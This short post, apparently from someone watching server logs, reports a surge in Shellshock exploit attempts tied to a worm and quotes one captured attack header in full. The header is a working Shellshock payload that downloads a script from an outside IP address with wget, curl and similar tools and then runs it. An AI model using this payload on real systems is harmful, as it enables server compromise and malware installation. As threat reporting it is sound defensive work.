Lots of Shellshock Activity Today

Shellshock has been kinda quiet recently, but just in the last day or two there's been a big uptick and it appears it might be related to this Shellshock Worm that Volexity reported on.

I've seen 2 variants so far

User-Agent: () { :;};/usr/bin/perl -e 'print "Content-Type: text/plain\r\n\r\nXSUCCESS!";system("cd /tmp;cd /var/tmp;rm -rf .c.txt;rm -rf .d.txt ; wget http://109.228.25.87/.c.txt ; curl -O http://109.228.25.87/.c.txt ; fetch http://109.228.25.87/.c.txt ; lwp-download http://109.228.25.87/.c.txt; chmod +x .c.txt* ; sh .c.txt* ");'
